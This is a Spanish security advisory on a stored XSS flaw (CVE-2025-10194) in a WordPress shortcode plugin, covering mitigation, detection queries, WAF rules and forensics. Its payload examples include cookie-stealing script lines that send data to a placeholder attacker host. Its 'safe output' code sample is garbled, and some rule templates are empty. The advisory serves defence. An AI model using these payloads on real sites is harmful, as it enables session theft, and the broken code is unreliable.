Botón de shortcode (≤ 1.1.9) — XSS almacenado autenticado de contribuyente (CVE-2025-10194): Lo que los propietarios de sitios de WordPress deben hacer

Autor: Experto en Seguridad de Hong Kong | Fecha: 2025-10-15

Resumen: Una vulnerabilidad de scripting entre sitios almacenada (XSS) autenticada que afecta al plugin Botón de shortcode (versiones ≤ 1.1.9, rastreada como CVE-2025-10194) permite a un usuario de bajo privilegio (Contribuyente) inyectar JavaScript que se almacena y se ejecuta cuando otros usuarios ven el contenido. Esta publicación explica la causa raíz técnica, el impacto en el mundo real, la mitigación paso a paso para los propietarios de sitios, soluciones para desarrolladores, técnicas de detección y orientación práctica sobre parches virtuales.

TL;DR

• Vulnerabilidad: Scripting entre sitios almacenado (XSS) en Botón de shortcode ≤ 1.1.9.
• CVE: CVE-2025-10194.
• Privilegio requerido: Contribuyente (usuario autenticado con capacidad para agregar o editar publicaciones).
• Riesgo: Ejecución arbitraria de JavaScript en el contexto de los visitantes del sitio o administradores dependiendo de dónde el plugin renderiza contenido; puede llevar al robo de sesión, desfiguración de contenido, redirección a malware o toma de control del administrador.
• Solución oficial: No disponible en el momento de la divulgación.
• Acciones inmediatas: Eliminar/desactivar el plugin si no lo necesita; restringir las capacidades del contribuyente; auditar y sanitizar contenido; implementar parches virtuales (regla WAF). Se incluyen ejemplos de reglas y patrones de detección a continuación.
• A largo plazo: Parchear el plugin cuando se publique una actualización oficial o aplicar soluciones de codificación segura en el código del plugin.

Por qué esto es importante (explicación práctica)

La mayoría de los propietarios de sitios de WordPress asumen que solo las cuentas de alto privilegio pueden insertar marcado peligroso. Los shortcodes cambian la ecuación: los plugins analizan los atributos de shortcode y renderizan HTML en el contenido de la publicación y a veces en la interfaz de administración. Si un plugin no sanitiza o escapa los atributos de shortcode al guardar o renderizar, un Contribuyente puede incrustar JavaScript que se almacena en la base de datos y se ejecuta más tarde cuando alguien ve esa página — incluidos Editores y Administradores. Eso es un XSS almacenado.

Un atacante con una cuenta de Contribuyente puede:

• Insertar un shortcode malicioso en una publicación o página que controla y que almacena JavaScript en la base de datos.
• Esperar a que un Editor o Administrador vea la publicación (por ejemplo, vista previa o edición), causando la ejecución en su navegador y habilitando acciones que requieren las credenciales de sesión/autenticación de esos usuarios.
• Exfiltrar cookies, realizar acciones en nombre de la víctima (CSRF a través de JavaScript), crear cuentas de administrador adicionales o inyectar puertas traseras persistentes.

Debido a que el plugin renderiza el botón, la vulnerabilidad puede activarse tanto en las visualizaciones del front-end como del back-end, aumentando la superficie de ataque.

Causa raíz técnica (nivel alto)

Patrón típico de causa raíz para XSS almacenado en plugins de shortcode:

1. El plugin acepta atributos controlados por el usuario (por ejemplo, etiqueta, url, título, clase).
2. No sanitiza la entrada al guardar, o no escapa la salida al renderizar.
3. El atributo se almacena (en post_content, postmeta o opciones) y luego se imprime sin el escape adecuado (esc_html, esc_attr, esc_url) o con filtrado insuficiente como strip_tags sin lista blanca.
4. El plugin confía en el contenido proporcionado por el contribuyente o se basa en internals de WordPress que no sanitizan automáticamente los atributos de shortcode.
5. Cuando los datos almacenados se renderizan (front-end, vista previa del editor o vista de lista del administrador), se ejecuta el JavaScript inyectado.

Ejemplos clásicos incluyen etiquetas de script o atributos de manejador de eventos (onmouseover=, onclick=), URLs javascript: en atributos href, o entidades HTML que se decodifican incorrectamente antes de renderizarse.

¿Qué sitios están afectados?

• Sitios con el plugin Shortcode Button instalado y activo en la versión 1.1.9 o anterior.
• Sitios que permiten a los usuarios registrarse o que asignan el rol de Colaborador a personas no confiables.
• Sitios donde los colaboradores pueden agregar o editar publicaciones/páginas u otro contenido que podría incluir shortcodes.

Si no estás seguro de si este plugin está instalado, verifica tu administración de WordPress en Plugins → Plugins instalados, o busca en tu sistema de archivos carpetas nombradas como el slug del plugin.

Lista de verificación de mitigación inmediata (propietario del sitio / administrador)

Si gestionas un sitio de WordPress que utiliza Shortcode Button ≤ 1.1.9, sigue esta lista de verificación priorizada de inmediato:

1. Pon el sitio en modo de mantenimiento para trabajo de administrador (opcional pero recomendado).
2. Desactiva el plugin Shortcode Button.
   • Si dependes de la funcionalidad del plugin y no puedes eliminarlo de inmediato, procede a los pasos de parcheo virtual WAF a continuación y restringe las acciones de los colaboradores hasta que haya una solución disponible.
3. Audita el contenido creado por colaboradores:
   • Busca publicaciones y páginas para los shortcode(s) del plugin e inspecciona los atributos en busca de cargas útiles sospechosas como <script>, onmouseover=, javascript:, eval(, document.cookie, o equivalentes codificados.
   • Cadenas de búsqueda de ejemplo para ejecutar en la base de datos (usa wp-cli o phpMyAdmin, y siempre haz una copia de seguridad antes de modificar la DB):

   SELECT * FROM wp_posts WHERE post_content LIKE '%[shortcode%button%';

4. Elimina o sanitiza cualquier shortcode o atributo sospechoso. Si no estás seguro, elimina completamente la inserción del shortcode de la publicación/página.
5. Revisa y limita los privilegios de los Colaboradores:
   • Degrada temporalmente o elimina cuentas de Colaborador en las que no confíes.
   • Cambia la configuración de registro del sitio para que los nuevos usuarios no sean asignados automáticamente como Colaborador.
6. Escanea el sitio:
   • Realiza un escaneo completo de malware en el sistema de archivos y la base de datos. Busca instancias adicionales de scripts inyectados en el contenido de las publicaciones, opciones o archivos de temas/plugins.
7. Rotar credenciales:
   • Fuerza restablecimientos de contraseña para cuentas de administrador/editor si sospechas de algún abuso.
   • Rota las credenciales de la API (claves de API REST, contraseñas de aplicación).
8. Prepárate para la recuperación:
   • Asegúrate de tener una copia de seguridad limpia de antes de que se añadiera el contenido malicioso.
   • Si el sitio fue comprometido, restaura desde una copia de seguridad conocida como buena e investiga la causa raíz.
9. Monitorea el tráfico del sitio y los registros en busca de actividad sospechosa (solicitudes POST inesperadas, vistas de páginas del área de administración de contribuyentes).
10. Aplica parches virtuales con tu WAF (detalles y ejemplos de reglas a continuación).

Detección: cómo encontrar cargas útiles de XSS almacenadas dejadas por contribuyentes

Las cargas útiles de XSS almacenadas pueden ser sutiles. Usa una combinación de escaneos automáticos e inspección manual.

• Busca en la tabla de publicaciones (wp_posts.post_content) el nombre del shortcode del plugin y cualquier etiqueta HTML:

  SELECT ID, post_title FROM wp_posts WHERE post_content REGEXP '\\[shortcode(_|-)button|\\[shortcodebutton';

• Busca etiquetas de script o controladores de eventos en cualquier parte del contenido de las publicaciones y meta:

  SELECT ID FROM wp_posts WHERE post_content REGEXP '<script|onmouseover=|onmouseover|onclick=|javascript:';

• Busca base64, entidades codificadas o cargas útiles codificadas en hexadecimales: los atacantes a menudo ofuscan:

  SELECT * FROM wp_posts WHERE post_content LIKE '%&#x%';

• Revisa las revisiones de publicaciones y los archivos adjuntos: el contenido malicioso puede estar almacenado en revisiones o campos meta.
• Si tienes registros de acceso, busca nuevas IPs de contribuyentes enviando POSTs a /wp-admin/post.php or /wp-admin/admin-ajax.php.
• Usa tu escáner de malware para marcar patrones de JavaScript sospechosos.

Cómo eliminar de manera segura las cargas útiles maliciosas almacenadas

1. Exporta las publicaciones sospechosas a un archivo antes de editarlas.
2. Reemplaza o elimina los atributos de shortcode ofensivos:
   • Si estás seguro de que todo el shortcode es malicioso, elimina el shortcode (quítalo del contenido de la publicación).
   • Si se necesita el shortcode, sanitiza los atributos manteniendo solo los valores esperados (etiqueta de texto plano, URL segura, clases CSS limitadas).
3. Si muchas publicaciones están afectadas, escribe un script seguro de wp-cli que:
   • Cargue cada publicación,
   • Analice shortcodes con la API de shortcode de WordPress,
   • Valide y sanitice atributos con wp_kses, esc_url_raw, sanitizar_campo_texto,
   • Actualice las publicaciones solo una vez sanitizadas.
4. Después de la limpieza, vuelve a escanear y monitorea.

Importante: Siempre trabaja en una copia de seguridad o de staging de la base de datos al realizar actualizaciones masivas.

Orientación para desarrolladores: cómo debería corregirse el plugin (para autores de plugins)

Si eres un desarrollador de plugins o responsable de mantener Shortcode Button, estas acciones correctivas son el mínimo requerido:

1. Sanitiza la entrada de inmediato:
   • En el momento de guardar los datos proporcionados por el usuario, valida y sanitiza los atributos con funciones apropiadas:
   • Para atributos textuales: sanitize_text_field()
   • Para fragmentos HTML seguros: wp_kses() con etiquetas/atributos permitidos estrictamente
   • Para clases CSS: lista blanca de nombres de clase permitidos
   • Para URLs: esc_url_raw()
2. Salida de escape:
   • Al renderizar HTML, siempre escapa los datos según el contexto:
   • Valores de atributos: esc_attr()
   • Contenido de elementos: esc_html()
   • URLs en href/src: esc_url()
3. Usa comprobaciones de capacidad adecuadas:
   • Asegúrate de que las acciones de administrador o los puntos finales AJAX que modifican contenido verifiquen current_user_can() correctamente y usen check_admin_referer() o nonces.
4. Evita llamar do_shortcode() en la entrada de usuario sin sanitización.
5. Respeta las restricciones de rol de WordPress: no otorgues unfiltered_html o capacidades similares a roles de bajo privilegio por defecto.
6. Agrega filtrado del lado del servidor contra javascript: y controladores de eventos en línea si los atributos esperan URLs o texto plano.
7. Agrega pruebas unitarias para casos límite: asegúrate de que los atributos que contienen <script> o controladores de eventos siempre sean neutralizados.
8. Libera un parche de seguridad de inmediato e incluye un registro de cambios que haga referencia a la resolución de CVE-2025-10194.

Patrón de salida seguro sugerido (ejemplo):

// Analizar atributos'<a class="%s" href="/es/%s/"%s>%s</a>',;

Patching virtual: reglas de WAF que puedes aplicar ahora mismo

Cuando un parche oficial no está disponible de inmediato, el parcheo virtual a través de un firewall de aplicaciones web (WAF) puede proteger los sitios bloqueando intentos de explotación. A continuación se presentan estrategias de detección de ejemplo y reglas de muestra que puedes implementar en tu firewall. Estos son plantillas y deben ajustarse para evitar falsos positivos. Siempre prueba primero en staging.

1. Bloquear POSTs que crean o editan publicaciones e incluyen el shortcode objetivo con cargas útiles sospechosas:
   • Expresión regular genérica para detectar etiquetas de script dentro de atributos de shortcode:

   Patrón: (?i)\[shortcode[-_]?button[^\]]*(?:<script\b|on\w+\s*=|javascript:)

   Acción: Bloquear (o desafiar con CAPTCHA), registrar detalles y alertar a los administradores.

2. Bloquear solicitudes donde post_content contiene controladores de eventos o etiquetas de script:

   Patrón: (?i)(<script\b|on\w+\s*=|javascript:|document\.cookie|window\.location)

   Aplicar a: solicitudes POST a /wp-admin/post.php, /wp-admin/post-new.php, /wp-admin/admin-ajax.php cuando la acción es insertar o guardar publicación.

3. Ejemplo de pseudo-regla estilo ModSecurity (conceptual):

   SecRule REQUEST_METHOD "POST" "chain,phase:2,block,id:100001,msg:'Bloquear intento de XSS almacenado en Shortcode Button',severity:2"

4. Dirigir shortcodes específicamente en el cuerpo de la solicitud:

   Si tu WAF inspecciona el cuerpo de la solicitud, agrega una regla que escanee el shortcode y niegue cuando sus atributos contengan contenido similar a un script.

5. Protección de respuesta (filtrado de salida HTML):

   Si es posible, aplica una transformación saliente que neutralice los controladores de eventos en línea y las etiquetas de script al renderizar el contenido de la publicación en las páginas de administración. Ten cuidado: modifica el contenido saliente solo si controlas completamente la corrección de la transformación para evitar romper la funcionalidad del sitio.

6. Limitar la tasa y desafiar acciones de cuentas de contribuyentes:

   Requerir un CAPTCHA o verificación de dos factores para nuevas cuentas de contribuyentes para prevenir explotación automatizada o masiva.

7. Notificar / alertar:

   Configura el WAF para notificar a los administradores del sitio cuando se bloquee una solicitud que coincida con la regla XSS, incluyendo la IP desencadenante, el user-agent y la URI de la solicitud.

Lista de verificación forense si sospechas explotación

Si encuentras signos de que un XSS almacenado ha sido explotado, trátalo como una posible violación:

1. Preservar evidencia:
   • Exporta registros (servidor web, aplicación) y filas de base de datos con cargas útiles maliciosas.
   • Haz instantáneas del sistema de archivos.
2. Identifica la(s) cuenta(s) del atacante inicial:
   • Busca cuentas de colaboradores creadas recientemente o cuentas que realizaron ediciones de publicaciones.
3. Verifica indicadores secundarios:
   • Nuevos usuarios administradores, archivos de plugins/temas modificados, tareas programadas inesperadas (wp_cron), cargas desconocidas en wp-content/uploads, y archivos centrales modificados.
4. Rote secretos:
   • Restablece las contraseñas de todas las cuentas de administrador/editor y rota las claves y tokens de API.
5. Escanea todo el sitio en busca de puertas traseras:
   • Verifica archivos PHP en cargas, archivos codificados en base64, trabajos cron no autorizados.
6. Limpia y restaura:
   • Si el compromiso es mínimo y se limita al contenido de las publicaciones, limpia las publicaciones y rota las credenciales.
   • Si los archivos centrales o de plugins han cambiado, restaura desde una copia de seguridad limpia y reaplica versiones de plugins confiables.
7. Contacta a tu proveedor si sospechas de persistencia a nivel de servidor (rootkits, claves SSH).
8. Informa a las partes relevantes (si es necesario): socios, clientes o contactos regulatorios.

Cómo detectar intentos antes de que tengan éxito (prevención y monitoreo)

• Limita quién puede subir y quién puede agregar shortcodes: mantén el rol de Colaborador estrictamente controlado.
• Monitorea las solicitudes POST a los puntos finales de administración: utiliza registros/alertas para los POST a post.php que contengan shortcodes o contenido similar a scripts.
• Configurar notificaciones de cambios de contenido: recibir alertas cuando las publicaciones cambian o cuando se crean revisiones.
• Ejecutar escaneos automáticos periódicos que busquen códigos cortos en el contenido de las publicaciones combinados con marcadores de script.
• Hacer cumplir una autenticación fuerte para cuentas de alto privilegio (2FA, SSO).

Por qué un XSS de nivel de colaborador es particularmente arriesgado

Muchos propietarios de sitios asumen que los colaboradores no pueden causar un daño importante. Aunque los colaboradores no pueden publicar por defecto, los editores y administradores revisan rutinariamente el contenido de los colaboradores (vistas previas, pantallas de edición, colas de revisión). Un atacante puede explotar este flujo de trabajo humano:

• Un colaborador inserta un enlace corto o un botón en una publicación borrador.
• Un editor abre la vista previa de la publicación para revisar — la carga útil almacenada se ejecuta en el navegador del editor.
• La carga útil puede realizar acciones en el contexto del editor — por ejemplo, crear cuentas de administrador a través de solicitudes autenticadas, cambiar configuraciones de plugins o exfiltrar cookies de sesión.

Debido a que la carga útil está almacenada, persiste indefinidamente y puede ejecutarse cada vez que un administrador o visitante carga el contenido comprometido.

Ejemplos prácticos de cargas útiles peligrosas que podrías encontrar

• Etiqueta de script en línea:

  <script>fetch('https://attacker/t/'+document.cookie)</script>

• Manejador de eventos en atributos:

  [shortcode_button label="Haga clic" url="#" onclick="document.location='https://attacker/?c='+document.cookie"]

• javascript: URL en href:

  [shortcode_button label="Ir" url="javascript:"]

• JavaScript codificado/ofuscado:

  Usando codificación de entidades como  o trucos de decodificación base64.

Cuando veas cualquiera de estos patrones en el contenido de la publicación o en los atributos de código corto, trátalos como maliciosos hasta que se demuestre lo contrario.

Scripts recomendados de escaneo/limpieza de contenido (enfoque wp-cli)

Usa wp-cli si te sientes cómodo — es más rápido y seguro en sitios grandes.

1. Encuentra publicaciones que contengan el shortcode:

   wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%[shortcode_button%';"

2. Exporta las publicaciones afectadas:

   wp post get  --field=post_content > /tmp/post-.txt

3. Inspecciona manualmente y luego sanitiza o actualiza usando un script de sanitización en PHP que utilice funciones de WordPress para analizar y limpiar shortcodes.

Nota: No ejecutes comandos destructivos sin copias de seguridad.

Orientación de comunicación para operadores de sitios y clientes

• Informa a los clientes sobre el riesgo y las acciones que estás tomando.
• Proporciona un cronograma estimado para la mitigación.
• Para mayor transparencia, explica que la versión del plugin es vulnerable y que un parche oficial aún no está disponible (si ese es el caso).
• Ofrece opciones: eliminación inmediata del plugin, parcheo virtual WAF más limpieza, o migración a una solución alternativa segura.

Orientación neutral sobre defensa en capas

Adopte un enfoque en capas:

1. Prevenir — limita permisos y refuerza el área de administración.
2. Detectar — escaneo continuo de publicaciones, sistema de archivos y actividad administrativa.
3. Proteger — parcheo virtual a través de reglas WAF que bloquean solicitudes que intentan explotar patrones de XSS conocidos en shortcodes.
4. Responder — elimina cargas maliciosas almacenadas, limpia archivos infectados, rota credenciales, monitorea para reinfección.

Ejemplos de plantillas de reglas WAF para implementadores (conceptual)

A continuación se presentan plantillas textuales — adáptalas a la sintaxis de tu WAF.

• Bloquea POSTs a los puntos finales de publicaciones de administración que contengan shortcodes con patrones de script:

  Condición:.

• Bloquear cualquier cuerpo de solicitud que contenga etiquetas de script codificadas combinadas con shortcode:

  Condición:.

Recuerda: ajustar para falsos positivos (por ejemplo, contenido legítimo que contenga la palabra “script” en un ejemplo de código) — mejor desafiar (CAPTCHA) que bloquear directamente en contextos de alto riesgo.

Mitigaciones a largo plazo y mejores prácticas de endurecimiento

• Reducir el número de usuarios con acceso de escritura.
• Utilizar flujos de trabajo de moderación de contenido para revisar el contenido de los contribuyentes antes de que los editores lo abran.
• Hacer cumplir la autenticación de dos factores para todos los editores y administradores.
• Escanear regularmente en busca de plugins vulnerables y aplicar actualizaciones rápidamente.
• Tener un plan de respuesta a incidentes y una estrategia de respaldo.
• Limitar el acceso a la API REST y XML-RPC donde sea posible.
• Monitorear los canales de actualización de plugins y los avisos de proveedores para lanzamientos corregidos.

Ejemplo de política: Flujo de trabajo de moderación de contenido

1. Los contribuyentes solo pueden crear publicaciones en borrador.
2. El rol de editor recibe notificación por correo electrónico de un nuevo borrador.
3. El editor revisa en una vista previa aislada (preferiblemente con una vista previa no autenticada o sesión restringida).
4. Si el contenido incluye shortcodes de plugins de terceros, el editor inspecciona los atributos antes de aprobar.
5. Si es sospechoso, el contenido se devuelve al contribuyente y se etiqueta para revisión de seguridad.

Este enfoque minimiza la posibilidad de que un editor o administrador ejecute contenido no inspeccionado.

Preguntas frecuentes

P: Si los contribuyentes no pueden publicar, ¿por qué es esto peligroso?
R: Porque los editores y administradores revisan y previsualizan borradores de forma rutinaria. El XSS almacenado se ejecuta siempre que el contenido se renderiza en un navegador, no solo en las páginas publicadas.

P: ¿Puedo solucionar esto revocando los privilegios de contribuyente?
R: Revocar es una solución rápida pero no elimina las cargas útiles almacenadas ya en la base de datos. Combina la restricción de privilegios con la limpieza de contenido y las protecciones WAF.

P: ¿Deshabilitar los shortcodes a nivel global romperá mi sitio?
R: Deshabilitar o eliminar el plugin puede eliminar botones/páginas que dependen de él. Siempre haz una copia de seguridad y prueba en un entorno de staging antes de realizar cambios amplios. Si el plugin es esencial, el parcheo virtual + la sanitización de contenido es el camino más seguro hasta que se publique un parche oficial.

Recomendaciones finales (qué hacer ahora — lista de verificación concisa)

1. Identifica si el plugin Shortcode Button está instalado y su versión.
2. Desactiva el plugin si no lo necesitas; de lo contrario, aplica las reglas WAF de inmediato.
3. Audita las publicaciones en busca de shortcodes y elimina o sanitiza atributos sospechosos.
4. Limita los privilegios de Contribuyente y verifica todas las cuentas de usuario.
5. Escanea el sitio en busca de signos de compromiso y toma medidas forenses si es necesario.
6. Aplica autenticación de dos factores y contraseñas fuertes para editores/admins.
7. Utiliza un WAF o servicio de seguridad de confianza para implementar parches virtuales hasta que se publique una actualización oficial.

Si necesitas ayuda para implementar reglas WAF, escanear contenido en busca de cargas útiles almacenadas o ejecutar un plan de remediación limpio, contrata a un profesional de seguridad calificado o a un respondedor de incidentes para ayudar con el parcheo virtual y la limpieza de contenido. La acción rápida y metódica reduce el riesgo y protege a los usuarios de alto privilegio de la explotación.